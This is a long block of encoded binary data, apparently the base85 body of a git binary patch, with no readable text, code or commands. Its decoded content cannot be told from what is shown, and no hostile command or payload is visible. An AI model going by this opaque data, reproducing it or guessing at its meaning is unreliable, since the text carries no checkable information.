z+`DitT4#2%4g*L*2t7g}(aWb_^CQeV=1_L>;|Tk9BG|nhmThp__pU_G`R}FS!2&`M zX3n1pD{aFoS0Mro9coIlfIm1$uYdh906?rQfB_SPNF)+iy><<+S-qO>xa0R|@3Nu2 zGNf`)9m(U4yZ#Dh$)}(GI;2xJ1-_od;OztXCjbOY$fYH(+OQoJCqsYv@iov@<^=~V zfFNeAnK~TB-}%zlxK;%c<#BpbcQ+*&fR%)#*lYmI2rGQy1?R#9WlAJdyy=ydNLR;j z<5fT8N|DG&1vit!GY>uiJvzn-H_66?6PK4K${iwtAdbz0^2NHQ($x1N;<2Fu;Mf+C zav+t%QmE+3L^S;raYiSUz(`5+f`bpCx%-KAfTmmlf%RPXVg#Oe-_|7Yjb5cpsZ5Ulxa?0<@qNsm z(ap2x%%p0ytS#F~6!Q65ZB5CGwO?at9Fxv8;nMeh08c#sBF}7gh(jGCa0zTct!-(L zvU$8pn7RK#BHKbKU*uZ3jN^_v+`v@$iRI74efOxQGR7lIg|Np*N$P+AL6#tb2EXyF zBRDBEmC99O4%o@qu$vPw#*k$MBtW)FAipz2sdXN*uRj;nrH9eh;Sl5zJgo_>DJ(vD z5kgdWc++k=;m{e>+t!LO2>dA}YGeb~F(il(} zf(_$GS6zi~T=8{2_W0w;8`}y}43%xcqfb1GmtJ{=-E0fq`1*5D2qFQ1SS2ZbPYnqW z0f8~dx`d&@F(74!p8E66qA;+TJ7;ua)y5*$tlf!h78Jr~BP9yPhXybX?5V?l}o9nk#NEZ%wc5+2yK4QzvQ?M+M; z!B;?mG-_cLeo#P7mv}5chM}Ef7#$deSF4~_@sZC5JUCo|Y|r3;vkydmWDw__bPypd z$H_fUY0~lJ5MZA(eribd$uLhz`>~H8uovZ**$}g75Fyzc3d|rFus=>5jIkpG-txvX zsMbHsZ7nU(C66p2Pz?d56by_o@Q9%;#(2KK%U>Qqt~|`Y z`s_#eocCNp2OoO?`8uGMjLoZGTEk!a!q;IS=#g60bh9g4|@54Ll(NmVpjTw!MQMzUy|>2G+t&*^{#z77#`t zHW7_3mjWVpjEMw&-zr8?<7To@tdDr&D8X@iNfB`n0H>XKE`$_(`}Mz}?)D^0H-V>C z^rL@gKR3HJoKQh~F6V0ja+x$8apY1e=Z8pH34jvEFJ639M+BJu?;Q+4ta<*?ej&}Z zUbRM+N|>vDa1ApNUU%9_WZ6ov0Sv?;^A{{^9UI#DP2VeC?|FI4b<%-XF}UFMZ{?R? zSw#yv6X0qU8X9a9cXy>w8Vk_UH4`)E%wQM~k3If0_FuFJZJjf*dD{+Jy?!&RRGM`d zL^Yx@FhUX;0~*~<6jY#X3q~9I{98}JL0QAaogRd00)*l2=}AnRlftx_N$#1MM)&Lt zb*@{Br;HWvRe9A$yp^JSa1v9hZMm?ZL;g2a} zz{dIhYqI zqurG7!HbS%4mCN(1BE3pO5m`7Y>Mbz?|U1Cr4dq+pqW{^E?#}{CA#l{hajya-tq2> z*_Xs@f;yHfI+t}d0%91=oD~F9DdYZ^c2bk_aP>z&1Zih+*=Ifq7eJB(n_`VVcIijR zuLPLUByrv6K1hkaKJ?6fgKrh_V?#2-3zNnaLuXNkJP85`;`PVSKMFf?#Zw zCG_uf5C~;UF6Z-j@Xvpy=H?~@zNv#?W5*IAFp)4(auAvrAv^&QnY6=;9x+i99ER#p z=GZ;~EG9+Jfyf$ZylgOg|NSv*!9jTF=IeRe%I7K5oZw70i@(0Gol4azIa0D>AuT1OLq?VEr)6pxFy&|H!KrN1L0Q#IsMo$bY&2VLtJM%2-IGEhN%55*Z2061?W6 z74*5c9)hGUF|91 z+>~(mvP({+q5j=qvLGypWV6ND4hzk_4q9d;&^bGUX>+rfIlqbL?B9Yp3!5-=ZWhyK zB`|GP5;Py_jSmVOB^9>`Rg;K39I zS*VaDg&-Y}%r^6NH{68r;xHX}&_Q_J>8H}@xKFlpCw*F@a{&PG4Un}374t`VY@qeRPi)JJALUboA`slka!>SiopoI)>_~OTTan`^eAEs*w3(ENomk`%>XdS?A&g!Qhe;f$QWLawRtWR|M z?|)AScU_cgLD zg$v*MW|Yh0>^MmZLpn6Rf90iLdF#bO<{t=xQ7fHn3u*yy{`nWvEjRs<4r@!Ixd!xP z64cY-U?e}rho5>DWU8GEi0-`muQ=w|V+jDBeBpVpQUt@yY(R!114$D=!jK3mtcN!O zL4iFDK6bxu`uF!Af=w^3L|7DH65xQLLqS0R1U@4Sn8Hv%hXSDnw9g2%=0Fi%d14*C zdv2P~IA8{JF;7y~;rTK`;~VCw8C(R~iLdD1FyFn-=4+9LVyWMTbiaPLF~_AuV_7lL z8;Jgs2w`e9m>|S^PCA5-o7aMYypQ}?4Sq=zLPFpfcwPuUGzdb19}4n3My;k%tuefs zM%4>Z^$cniP{k*Vm1~e;NZYqBLFiE;l`2Oqc;kWIAm`B!=6BM+dZ zqZKW7f(Hhx{Pg9lRFdiB-t+uyqi7rp&0ESSkKAqe!@_51niPhVaA#K%7T1|3%Ku2qL^+Yy1|xcuJt zeuzK(@ym^k8c$2weDJI+Muv8ych)?fJ$o*!WQuRQ?N9jYy?-Mo+l%L)djW-^K`7TH z7y~v2#%M5`DD@QrA_yUN?;=qdrmE5WuHzT;f1EQDeJ`z~QoaIXCs21f=UAhLVq&n6 zfN}{{0qs7R+Xb$C|CyjLAYsaEN~5F@`)Zn4Q7kIu0b^JPAt;fqC6YAO3)}E%{fUc@NHCG>2;2cR)G`Ff&O8OwxhOIs{|t^TfE$5F7*{$w=zm zVr}|Iu)zoZip_Q6yhJ?7bkzb@$+lB z8ATvh0p9>KX3vDQT{y`sZvOdC(8R;cIzV@GJ6>2dic+!0O4;lgAlHWV9_ z@b0;e8^FseRx_LgwC{n9515dQ4q;5l9E3yxL+C1t{>_j>>&dH);k`%9=3ksQ zpWBMV=<6Rsp;ShNHL4a+76K&@3Jer#H4N?^fW37WzCO*x*G`%PT_}-6R3kQ~eS2Ti zJrsW?>-@dbyNO^x6Bgmo?j+(=e<}um8!!d5ub#q0`4Ly8Y#(|8)c*hld&Y$LY#PurjBolw=*|GcwzYl?4Q-R<&&p!mlLuvWvKDpWQ9ct zn3(No>H-@C0AApc)z(4x-E%+gxa(e)ZjQhB#g8&e0nG*x`7V+rFw9U4BxQ)5gTq+6 zrHF@ra|2)f$&VwcGNjAnIPRn)_@nQ7Gj{Cm$NMjQ2j70vZ;_OmuKnD*aM9sQQQbBO zSGuGD7%Q^h$#k`$eO3?P`H_QCq$&Y`FfuXcNA6G2W%>um(o1j=L2VV&@mUi0W%gZMzv5TM_I6h#a^iB*%x0WNWmQVpdf(pJx1Vz!hjHl zVC}QkA&42WP=MIIh5YSn=};BoCkOW8JH2T>*EN_`Eg+pAW^y9PNwvLk&nFhR>SAAcPJ=gnq!GUxW62Xg`1s zHFOYtgrSDkCN3sp7v#OT08@{NGNeuw=I9bxB82b?TrG^y@ttY9{;Wl;2e)JG@F+Y9 zC?Pr4HDD7%vosi?FwiDa85Tqc1>xDJcH#&GeBWo@z`bdgba9wCKMFQsq_PA_c+qSOThO2&;9Vm%zW>o@`Ile& zJTJTEYjolfN7AC1-5`_4k8ipLfBE}zoOAN)`TjrMgW2gE-G2Fp`5lY*gTHYT61E*H z4l*Puj1_!zFWjFJ?H%C2pD4bCknoBXDwiuPrDP&TwN~6gkyO6`Ahc!@LGYy1RX9lp zL%Rl08s1GpiikZz@dpgEU=DpClLCz7Daqn%9rdkZpFtpg%zzOPz^)A`3>)o{-QLT8 zy6H9;GfZWR;I!sw%Rq=y!GmG~OCX&|BQyat2)32U645`c3jCiP8h{!e*!ss@%k-pW z(G6pxW4c_anuO~L%>kJ3dLsOoCnW1Z#<1w`>-)jXne$f-j#h5-g-AGV0(Q1Z+dmtx9rO;E?7f9Mal^fF0CWLKwhO7L)*lt^qnET^(b?A%tL1WEv6ghp({& z_v+q9vf^PFg2=#f9N2CGaNYPcC?J}sQ;Z#qVIm;`AtMM0(T=#D}5GikJ>95{j?g<&D(ggJHyM%nX_ zuLkJKm+`5dBrZDcP(rQB!T31KT8RWt0v?I${yH(4iGVNwoc1~R`lr8wmsYH$mX3CO z?LWQ{Y1>6Uq|7?gfItLei^wV_Fhdzxv zZ~h~`{pD{XD30LZxpQ#+C*Q*dx1>;+p57C6$0L6a;jn1~h3=IC1Pt&V26+ISC~;228e%L@EW(4`DkA>hB-m7yoiE zmY(}A9vv!BO>1l)DB{4GEgWc27}n+834)}=zaR_#UpYbmsxY?WH`#0tvA}i2wj#hM zCcwyJJ38hbFfg!bbsSae4w>cEW*^NMY5gbr|UDr%ntt6#!L*?b-1aenP$(Lf$rW;nm(-yOP4G`M_VgdZS8>X zGb&XIYCfbA|7A#544ERy8jh)=H0Dv4o#D@Q=Wwppcx1eat(6MKtQ3_>h(!e=G*u1( z772qx(-MbtxZF-v@&-0B83D_biP);^r=bpNU_`cP1W*vvV0BK%T{qvuS6%a4V&(GZ zzxfrKK6fT|jMpHg0<$K|k$_>|xP6rFyz?G&|MkD1flX_vqp1VeeEJi3-@7ltnHPTw zzDnZJzx)lqTlFMCxVYrpv+%?BUxb#ComA-`hU2(^W<)Yju^_eM@bJI@4t&cS2(=1G z%2;5EA5tzXJ|VP#Bp8*|dY7@;+zFgAp)uKiIf6NIS4 zL8Cs5ZAnaTYeF@~3lU5tvt}BKh5y9LJoYDsKun4Tu{KQUWERcM&AfBh01Ml|N+$8( zEqCL@bKXK#_*}7wc8+>Da26=kj9RGzBFPefA9y8Z{y!1`03c+B%IEuT=$<}*!+3tj zPi!Z>REajn2k>@Fs$+Bfz&|wJWrm=Nw1nYM0K!1qZ9n$5N$B3r`rHZ!Cmn{2=fK$apX zD^g|SfV7ejw#^bmQW_Z4m;_Ob4}+AE5N6ydjwgLw$8{-46d|mSwW!W_Vj;;30yr)0 zc;&?vxat7kb}TGwovE=aBZtm*pr1Z zfGcURf0Rn;HniM{diX0^m`~=?O(F=KOQuhs@ty74w{LF9 z0wfWIt&%HPG7x3q;6QQQozk?Vb*nEos3VkkEk8k?a@)fbB%nG;N59 zB6K0e;EstVu8Df;jTdSvOOK`ic>ov_!pSu8AFlr$uDl}#bUJ}W+^~Mhm0_Q)CM_($cfmk%`ibTU`zzGG7;Xz zibEneh)XSvSdEw>EURI#A!7`zTpMrSU7$C;?StGuJcjN$3vkUf-zT4emQ0%cLJ2Eh zUXQ!(z8inP|6$(o>KXzHSU7JsUH*;>@%G~ng)9u=*%ce{`EUP}Y?-Ecoy2c{@7r{vN?Bx#j-BSBoHx_~R7(d|JoGd#z4)TYFNo_kD6@1N3~b*`4?OZT zCz{($wN@r+!oS^r|NVuSI;-pF^3+og$v?h)%NSYcBoM|&$M)#IMnp8f%9zpSLM0TL zn&Cvk!shk6$xb`m)7godXJXOjeU_2&7Q(1_8ZH}Hwxoa~U3NBrPy))fO#Oy4%#gOj zPd~97?>_bvC~2YQ`(O#ITfZJVckYH#F2e+9&Sb|1tNH(<0RVM5;$>Gas}kYzY10ya zsMHFdGg`lGbhK~VS&$JLWNV(OZ0tW{7S3O|KaHM!JUzH} zJ$|+PSzP_C@8jm*+=L(B@>?8v)RCmeM0*7`0lJ zAN=D(So_K%tS5JKg$w6%X1Xm$@~9(Dl2(E^mMzyLxM zkZNzo?{Bz{2ZoAhnb9sP<3)0%d(*z48lU>qdBIn{vCOw1qC7IxQ`}g|2o@4lu2yK~ zv`z#7*npG(Z`qPZYj-R4cGr;|6N8pLqW~E)a4dmc+sDvhGv{WulJ6T31W1B(7;@ly z(KUo-HU`RZ>6I5(aIIWq$F(T%eSm?X!9gyMjG=k@ED;t;NM!97@qefXu;-zpNfpG- zojX?oc;~cfbG|7=?)66;aoDtnAAWdOe4}arShA@5vFD%L(U;D&bZ^+OgIX-$l#reVkWpA3#c%#jQ8~m`^?U0O;`n($y-oG;n8jL_p`UBII}h z$YfzjuujPDwZIP6Lh$p~-|?N!8$_k)Pl5-K538qI@8#^5T4 z-!gp;PJ7!-{NSM{@TYZa@c9pX7)2^bD1+Ca9ER0AO*#cnz(G+Vgvp!1%UdAn{X)E zwQKVR09SQ%bXbii7Jz){q31?gTYGLtXg&&d^{;RLlX~5iUuAz}fZb%0;3lzZ{c60l zdKDowe9!?0;H)!FBeQWO3q`OxTVXY2i5&?R0)F2xn0+J{Oos+juzClaghR@<89~5s zB-P>BQ#Bokc%LbB{SJ@ALgTD|>O7u^h{JM)wr|>o3<-SvSi3*!#7kv?I8xai8_mN_Df-IkXP_ty|9Q{(;DeWc4&lIV zC|ga)flUD+O~!zIT%}16o6&~J7zm>Y+C+BQCLksaNd)pez%YyxPb2ak!In`nM=J7J z2&%9JU=%e_;;BcL^N}C@ zDA`hi107FKGzVdg?6$f1;a9)I+qVzV^y$;NFg^mul2x5E_0t~*f!GTL z29}fvyc%j`N2DMvCaOcfT*Uau7*rwwHbD@T(L!o3#E#9IXhH8%SeAuS+0fHZJjKd& z4YV%_;mhmSZ|Nf<@qa4-)Q@_qF96_$7hVYV_&x(bQYC&dR;m13uBlty{ntnMx%a<| z51-yEDg%8;Hn-8{)!TTiS_P1xX}!J7#1yb52LzQ)0Z9#`Ly!^h+p?r)G(&c^K<_Mo z{eb0xvk};WBm|2{7z-1wp7jN7Ca`pS1c9kzt>~eKx<6WMk@k}|AW2;I103Al!;2lF zv9SUym10ojnq#zy4T%K#LBLvvqzyBKh_VA{APA$srkO1gP_`o1v4E1#Rya%_IpJ8m zxOE2}z4Nbl&j;U6wi0^_2u-CS$3bQfLUQ!_C!#Tdi4B9<5VVHj5LBx{uj>QaGEmJa z66G37t2V=JYk}R{jj&olPz&H>GLR(MjE~`+7oCR_4?YORQW2IVU|W))2rX?*JTKEm zX;uUZ8HFJ-yVgP*VyP36fVkEWLJ=v&2tydn(T)!jb@&Mr)?1*cN5RH`90wwo;VtX8 z(1uN0aM*`Gh~`-{!Nok06^YVo?UUV-<5ypJ89(~rFR87yGxYtE0%|W@cG(A(U2(+~ zVk*=#x*vXd<9%&FcXvW6h9v6gokO0-OhOV^qslf2qgXP3Cdys}0ZLmE4{sQvbUK4t zWf+Ea;uCEI2}#UVT|iE5s|-KCLD!@ z3ZBoio11a$?3uWK-D(W??c!-OdWgeta!22@9$>DQ>Lmp5 z#*4&*BdBQ&A&E#4hs-cil1K^`o$XMqZ78f*4{Lm!5=~7I=_F7o!1!Slq#Ixk!d9R} z3P`#`5)HU??3;@U^X7!dl%hjPaO|3bR>21fD7ZMA=5sF8KN_51cRwNS+2D}hWj>6z@ z89PQiG&eP&;!E<`)S1C`1ZbW56!#MhSwdjE7-GjbFlUB}SjzxHqtT@l9(dse)XHT_ zq%)|N^+>Ja-D6-b6vSK|FS9fyn%kMhLw~r1ip4Uwbf!e;89$fK-Z?%Tt+)Tb0>D2y zh?$Xc<(1XK$l2LkJ05%bW&Y}Se}M0O?b8THc14Y6A>tC&#BwRbtgKjBjG}s;8Igd3 z0Fi{S?0Pj4kxZlnSvDXAK}IXy#2}4G(>qQor_T8IhTZOYaAZ}+MiZP2=FQ)a3L7@Y z=-N8J9VCfR^8q^N20AFSp4CjID*-N)L4L@@Oe95w zuAzuFpsWPY(hAC2#3WdT5>Dp~l%IbU`0#r_isdh?rLJjnf^u=pA~shK z^!GoyN9rFRClb-4@H}&tT9 zBV0wB_djUS`qi&&1Y1clGMa~NDoC*8J8r!LPAU^>Kd=nzzii*WdQH9g{=YE*XaI6> zaPXOIvh8{=^#84C`kdhVKfPYHw&n1JFMS$`m$t*PEe<^s=L{gS1Q}b!^F#rPNghN| zCdH9L3xOFCtVNKtBtr^BKo?>L5wih9#DlUJ@KcwhkMMu5EYU`2UpyrX=ltt$O`$a`-wKhoxiR==iFSU*#pqe;f7D6D`lA}yZ6Na|#L~%5a z{W`n2g@IDB9G^wKZ^5SqauN3A7{uK?fIvb}Tv4-;1i^yYl4KTkBiY`@2#IRd07240 zYQY?k5zv(YoO2=ObP-50gd|b|P!fuXSTn3-8m6f^au5Qs5Q<_)q39K`2Adj!&<6}i z8-gVqG#_^`Dhp>|%OlTW?W50t^5bwIV2q(+=yADP1f`pin=y|TzWxGCKjsJs+afc( z8E_pUo&<5#f{+v4v*`y{eh;DwaaH>a^D#_oZdamhHLo$H$}k;fKGb z&OQH^Z;;A{9vu~j9B~9HHIRw1n|*}>op($JLMahcG&&p$Yc~&KLtlW7juZ@QFa)$V zkPggAt(isi|pR484sv{1Yzj@`$ z>$I>PIW$@@GdtSwr(6C=Ygew~_TFx)6vqL&D@D|`V~Zd{U3kLOd!F8u!!SMIh>#Q z)wNX8L=YAWQsmb>BwAb0dB8lFsG-JGmusyLAfo;R*U{l3YIjAw1J474(YfC&jBnn? zT_Z(O0F>)SOd~5KxTkPwC;yf8K%5yXN)2x6$4nCP)8vY2C| zNWq3pv4m7pGcCU8jaYd0Nn9Kmq0*Lq*1m?Damndz=WJ&?WGV+3pLx7UT=fAf2cZ$! zym16hNp#PpAAJ96eCA8vL08WL9r|Tu{Gp-d?&kBCEn8NNcgH>Fe+oeO=C}Xu97E~- zg_hc}EphPCr}Ajtz;TI+wz&o2_hI{!GxmT zZi(7{4QN2aK*A9i85zfp0Y)O31Z$6?X<}q;zGK}cUbAi!(z&z<{4!-)njY`pIO1zv zu7Nm}O;{Wh3Utj?KSQ>?EkszeBzbp^4eoxXarFK_Ne23#JPe{H;c!b@ze!a_@~-w& zYv+vc{U7=)e*Dwl@yvM(p)G;+n|EQ|mOgN%i5QZlv_R4Vq+qrrU|E3WKsYu@+lI7l z7PbW_1(p)51hEuMBsu2062&fiROgGws!Uwx)?yE`5B8Z-140m2t8~DAbI4Dpd3Ut{ zWm#kl!z3NFFPOu|^CN;!0|AihleN021l6SvD@pW zM)Uc7(v2r6#f_#V-1v#2a)^YCK1eX6ASTHsFaX(L;Q-Phk`@6LAYyMo$8Yy$WR!f)HkWlm#<2cXwm@35V0H z(~qI9BM(AzX9pU&e33{AkR?H+Ajx8*HA4tEZJqe`mEYmdeC}&#>z!q^F3X@Y z%3fXcNpu@0F`g-$%62c;UZ zZ3!p}ao6(Aq^&e7_)`?)>Y%DR>yl`~j+C@9NZ7=WuN{HqW}@oWc0dB8jp3{Xe*Eu` zqEsldlv1+xhr0LcU9oG|=9Cl!U8`cz!dc>`U;Unj`*yRf98oFdi`hitb9+vJ{-Im9 zN+wwc0VK@hs~>%|G&Yu>Cxl42sf2#&nU`_%A8$pjtwVd&vQ$!hV&~3H8}|g>{cjEc zScXV8ZuPdE_hqu~DPFmMvkpeAbaN|(Mux_)ahtNd?C!fzsFYYFQh<;QvOv;-Q3`Ac zuqDVSMQkYwr64UOLM6dUKugI+SZt!3Z9@FQkRTJo=25>jQLh8`(C42z0t8}sX&o61 zW#f$V-$IYA*#So-z_vuDs|_MFEMl&BUGJwZ9%LFUzD(5WWJ4n6B}6+YDCV#`4hE_v zp1Wi*w|4Zv)M^lW*8fwsA4L8Gb!mZ#BTD|G=5!PUSqhMpT!%&*f!K3_7>bxBMLWC% zvm&q(FjBC#6pXE4q>ON}WI>RuXZ|sFK%jok>pBCW(a>76i0oY_y`v|>6EPDpgn$$Z zLdqzE5Q<1p<8?t8`edYr-P4Pwo?n9#PJTPzbo*1>(KR=e%+h%IQYPiRY5n^3e`00@ zJR0tC3labeK#)kZ9qd(|Z>JJndTeO7Jp82Nuwe1=G(1p3VQe=}I=lx>9qpuz;bxck zua9n~-35hgCIw%|uq(vN9-@AIA}h!!_HiJ9Kr$O0^0P1Q;+&fT!l)UXNk|w!L~Ba$ z`j=nE%g?>Y>0H_bK^00`_XD85fxdR5wQwAp`v(Tu^NnXXRD|mF#qqvh@2j!-zd8WK zhXx?G?A-a>!i7CYT4C^`pfX(6m2pdizDOrstY5nozqsy?P+eW9nSfwLH>?l}BqWoN zh<64SQpV|}00~7xSP>{h2#yyOM_M=WO zHcz=uRoN#4jbl|DO!y0t0Hh?63M3VTRLqtIwk(2WfovO43Q*C%qp#!hEd1+7Ey&5} zWI|Y$h)|1ll0N|mHMJ)sJ^R8oDtSpbwgt@$seN`_2Q|aUSfCqzc>{;O&umz+4vM|A zdjAT5gPNaa!w5rT948sV!0{`EKNm)}{hKjnPfWwa8~uOb&;Y~>FRULPA0PfiYm-=- zvh=sOI$mZSa&yZ}^Q~`Pis($I92iwNximPwY-pPFyw8+!#L}Lvw>QX_S*d$kN7p4=+lG^S&ToMh&%Dt zG+7oY$xxD6N-~yYZAoZLl2MXbNwB5BN`aMRD1m4T2S`X_L0~~JLQ)iDqa7R~F0TaO z>i{a7!__} zKK5sZ5@z-F6R63$#4HV3U(WYMv6FiNe7NPWIyO)fVHn|!)=djrUIvtX>wtF zL|~t|bfc)j$F2?7E|HF}qyR&QhPslH*RI)#m$wJp-rNjh3=9LgBq))#kxnSuxOyZ0 zbm!g3baZLIRw37tH?Mr|v7G>rZfe?Jx(OzNChgn0R=wj3XT1A@`28^U5%mAJP676H zn0O-=J9g~YM1;$GTBdEQRjSu2r!6RYM!fZskK)05@1%}Q6M}LPO3B!UDK0vhB2`M% zJL?VGA;lQ~c=1H}B=clJT$kbE30D1Hb#-G9n8*wW!m?q;hH=Sz-bEk!!>wk+&@Ngu zx0`gi#*iQ~6WhZC*eKo=Cg(#_XZajRz!*(VI)&wHRvuy5%e+jsiSwg74F@&(#czFwyXGH-_1lIpXJ(ogF7CmKwY#xlb3ghk zE?QcrGy64!z7HW(jJ=M}wGb49jEwZ*P$W601fT+glqIoiq)3mvnny=VD?;r-2npX0 zF)b(2Vk>kD;;&!*15_$yYRh$zspNx1Li}_zrgu~*F`G#e1^EP<%1=t8yFa!EKW(q$ zwZSa^yAKgHX2?$^a<`Dv{8lT~6pjyVS4S+JkH7rskK7_W3Q9#tOT~KYh|yM&l&6lw zSV2NW)b$CaZNWqoIkLn%!Gg76j@9jDERA5|sv)Y)C!iD2d5h!-W0-}A zyC`C!;sFr?uLi5R13LzaxZtgq@XB?AkVv6c8$c@M(4zhK=aWu2jONbmtv3_tLt(V=E$!3>m2MPzeXl3;{^ z@3S%MT}y5vGNnNK9bV1vl9oMBIjMx@xG+HwjtvdTS^Lk$C%*m-q&g3vO}ocfC2X=) z2xjJdsZ2?7(c0XE!NL#=?Z8Q8NQasUf^?jD6Ts!FPt$V&pMCrS8uA&+FefaDs$Zfz z?qAO;(MFCXp_y3;L8FB-4xQ)X{6nVWzP~N!H=p-LO1E~0fKWOZTUHv{{uX8y&p-dX zJmIwSR~x2W+Lj+58QOev+;G_E&R;+NUkw1L&uZt-pWnJ`VC+TXW~L_+IX&LLT^_P< zrup--8>q9rm1-mX?ATUxzlo@|6rtQjy{E^q8PmiQ6Gf(M6VShXG}Nb$kvCR!rKNRE?aV>`nfSM(!vDVE}919RBOAf1~n& z^Z3HcKM6h5Po!kDkhw7sO$|_cN(oN57)=C#Shb4d1#e;*G!xxRhU>&?W zn^R%Z5&nW?y@KIbnu-0;klo#djqA4aId6Oquiw&79bL1~+LFP#b*~bngpx`4wF00F zEF~eiJ`{*vxv!bDA2PWKlSySc;ikwKEyFN`);_e>6&5mSK%7gb_`m~~(8CWut{KdU zgsqh864yBe@kJ#zC=|v64q48cHJi?O+eJ9^yf;yQo=_aFaKf>`^Y$ipt7=(z>?^I7u0Rf7LK|~z8YSw4v5SaS0rx`3Txus6|ck~6onu!gRkO+r| z%=<6@G@QA!@aM;uvvt5+gv=b)6@;S3S+w9K!AOd*3PO;Ul6(RgDPYZ=%YS|FN$hM+ z@r9Rv4tjWiq!27jwBjQ{&pj4@y^j#Ph}B=}RQoc4iL^B`Jc-tJ9UDNzQiuqTBx3hV zK_H5h!&t_p)kLSC7?5$WWd=#o+CT%ar_I1!cR$1@oqj&A-?&{QQaSq4cfO3P{_s0| z_6Jw-p~oI?Tm>XEt!QeS$;n(V+u1I5n!0teb$Xa+oo<>sXPAyzbE&1RLt3`0!b(AU z<^H^`?f$Eh#S7-l?mmixTHbXO#)k*c-P2CLz4JzS&Ku8EGpBd5uGX|)HDS5nht-nS zUMbLNN178)IMn*gmH#fjaQ*MF|C#T=*6mfUjaQLM*Z?z>PO!rn2w@NgRh~P$oqzGw zFR{+&;U=5l`CeoZ%yr8+1BQeM4Q92cPz@PLDcJZm-2Tu87-W&M9X1hy_5W+{%cJb7 zs=R;uoIAX+>b)8>CnS(SLI?^WKq5#p7zJg}2+O9C77XIjUSI3iqOFZ$12WiPD|WX8 zKcEo>t3?LkV-g8sm@*ND%ps{%s!~Y}@6{Xcz2}_Wf86(8y;M~KjUY6z*UGBYtv8%I z?0xp|+rP~uEG`>`RNC+{6O#OcYkq{6Uw)O+O=+crL5ocJ#;&b9U#aTwr#^M+?t#AU z%j%S0zn=2rf4K)x6$wC(Z)`ieXwua6X4}vB*(r zg_~-)#f3QmA_iIEJmK*78rnzD81eLhxc$fS28NF_48s>pPE#{K_>=#Dy=g0sJA5XR z35SqTtOGA>br|O7s5k}^WLu16lsv8Q`0t-aSL+16`08(yER>j7S3rW*IHk@Ds9$r% zD;UcQKm}FJ!&Q%Jcv3NBwNRz@nYAopwMlZ{5=rPI2tiB)W0;jOVBq^#UB_2l z|5IWg+&<|LeEmoNLM?}W*mUh0qL#KapbDHKpI-X?6Zp|J*T9arL`Eo(wp5UV0N~gX zN|^z$*<=alc}wU&2~m8uclYkjYDsm{q`4Po3gu;1G#X^OyX+-j_&k5*`fJeD(~sQt zUif|%eSN(EENX9`%uXVLc-th}on!7B%!30DuIpA>__>nPmk0t6u**1fN(~22mr0FPb-9TrYdX7n?QY^G4ubka^#9@iKD^_eQjBxR*?S*fEf4F*w-Wy^8 zPzSX&oth2guT``uWk(`D%Dz3=vy0CC^k4DS*Ir4}rcZ64Ep_hbA{qqP+YkZ` z7)v9acF-R6`KIsuBdvVo86?|d`0g!tph)95P##s=lnt1r6v*XEG-aZ|XO5eJb=&sh zku_bgoFp2ggf?NrT8J?d@H`*sq=!!&J&w;)T~)E=XUMt{eOvM+tJ#JX%-d+x?d9$+T-}%72l={Keq&yF2Wn!3z9aZ zv^Z=gw1(5ARrDV-i!j|i8umK|3()HxuRTQ|CIPLPt%fA2Ai$Ot&mdU&B9gGt=-RMk z00U++pt1*aXZktNVEaQyi&>`}$I(<0dT@w@6}sOc8mI0nM`>c+)Sx=$M_mX&)gFXV z>o;5hAcu(xuBtU^qseQhUU^Hka-p?iDIB8K3Fz6rhp)cw-*DS6?nJ(rK~vjweCfOY zz=wVGWMm44645v%5;4=7az!xE%Xj?vM*79FTVOjaCYfkb+AlhOIrCc7u|L+=w{7!? z`%iTtZT&7t0BGsbrIEXT^XQ{2Vhi0!EEvr6T8UVcmi+C7eEg@*BF||;vB2=lCDz)I z7ntD!Oyx?tQX&zJBGK3cAu_yesxtnE#Fnhsa^wl3O<4v2hWIHmP;6NfQ zqS%58gC(54AdNyn@x!aTD3xwuM}*Cmg6wb}c%}AS^78oj@#FbB7cIr|KRiR})|P;a zS=;!9pXY~qE;fe$Y~{y$%mAS32`pWDM(pliK5;E%%U7IuJ1i>*N`-=z>F>eGCm)aR zedilkwCHG{ltFnY2WeSk3n%;p28T89(EAqRfG+*$a9}JWFseF0)l5G_gM@7Zu^2-d zlzRFp=*>dr2cS!3kTy`!80;w%I5BwwU`xVKfy>%Mq{<)4#5H!AF*R}2IxDm6_Kp9U znZ-zu6RI}LR9`YY1GPQ^7$&<9*}=4i5CqxO#^nOA?6y1c!y9ix=gwUKNm_WyDfsI5 zzR!)5r$VuBS{j?FAqi3F&+(%jcj4w6eoUR)ccEe2cr8g9_5<6f@;cJRv$NSf+bRgX zs*=B++e-lW%rnnSEr0seo0SnuoMfC$;Ol&UpVcpMSpJ=!j?>^ zPC{g`CfEQ)T*EzkJxVs&fFTY$o`@;zjU-C|xzZpXGj9_8`nn(R-M8LNiAfVoP|6G2 z&#wFU$;T}0=;$cEUUvVD%6rWKpz0P85n9vZ&MpOfy&Fl)Akn}iqb4)7Ls;z5XV3XK zf9q+Nq{^9w z#~o75Yv6GD7z2S)aGWTpF$G=9jpxJZm;C`TCc!@T?`+T__{s zMtEvl5pQiC81zZcLYhqGe10(B*$yeDb2pIyyS?Z_@P@01OF% zrq_s`(C&-Z^9&s>b%4BYCZ6P}nM?*sc^7%aHhYIN0{u=sw z`b^2wkcqgA#N*If!7F>1FtL@dT6QPa_ZUhzfDYN6!w?`u`c~#n3RuF2(wa$Fl`3yI zq*juI=jCzeoMwLP)*sQG*Z%^|<0t97DGK8i2ijxy{LapGuZ_g>|2gtrGyte`2ledP zlbU*Vm9EgRmx^fGvF(^)X3q5WinK%gne#p=F1_SJo_oYhKxe6(A7oN4*}?{hSO{6I z>F=vZ`%`x8Kk+vDXZXj^8>n=|gmi!y*5HuyW|*^Zn3QPDyEhze?3)A}W0|8a+E^h# z9X?@S7E4oEzagU(j4-ewE+gKG+&~!}zqy}ozT;Lr_ssJEqG+2kg+Fut=lHyfE+wm} z8HI9*$ETw-v}X@Je((MG<7W1~@lZ=13Y3jAjsTYjUzf6E_hdCE8c z@K>Q#> zU+I=>Zo;_s*;?tWDU~x;!V#bB?cMg^7_j9(OWvynpei+QVEW|AM-2>l-_mS<+IFId z#goeSfPwx_nMg={?6i~cxzC-AQ%+ihXf#g9#36B&|Hpa#LOCeX*83otArmFNJk zsrDR*{k^`bm~~~nee{1n-H7{>5!K3JI53a+%;Do)f4)p06)09p!*(6A8X5rG=FY7< z=vR0D4tL-6TVC_(s{lNTHns34KK)so|CRrP8FOZ!R0c@_?%TGFANxfI{r0{Gux;~J zL>tm3o=9reMaM5?0K+}DG|L1}7qoQYG&1+bfvMIQHnnasD~y;EYdx0#gp2P6!H&+zuC7i1l2WY);jGV|g)_c*5vI;N1U%@YZ)YdgzVIAB@xcGb 